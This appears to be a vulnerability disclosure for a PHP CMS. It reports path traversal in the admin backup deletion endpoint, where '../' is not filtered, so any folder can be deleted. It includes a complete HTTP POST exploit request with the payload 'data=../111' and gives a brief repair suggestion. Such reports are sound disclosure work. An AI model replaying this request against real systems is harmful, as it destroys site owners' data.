Description
Vulnerability file: \framework\ext\Util.php
You can see that the following code does not filter ../ or ..\, it just filters . or .., which will cause any folder to be deleted

Vulnerability to reproduce:
1、Log in to the backend first
2、Construct the packet as follows:
.............................................
POST /admin.php?r=admin/AdminBackup/del HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.xxx.com/admin.php?r=admin/AdminBackup/index
Content-Length: 20
Cookie: PHPSESSID=prukpjkatj61ivpcp5lh976ok4
DNT: 1
Connection: close
data=../111
............................................
You can see that the page shows that the file was deleted successfully

Repair suggestion:
filter ../ or ..\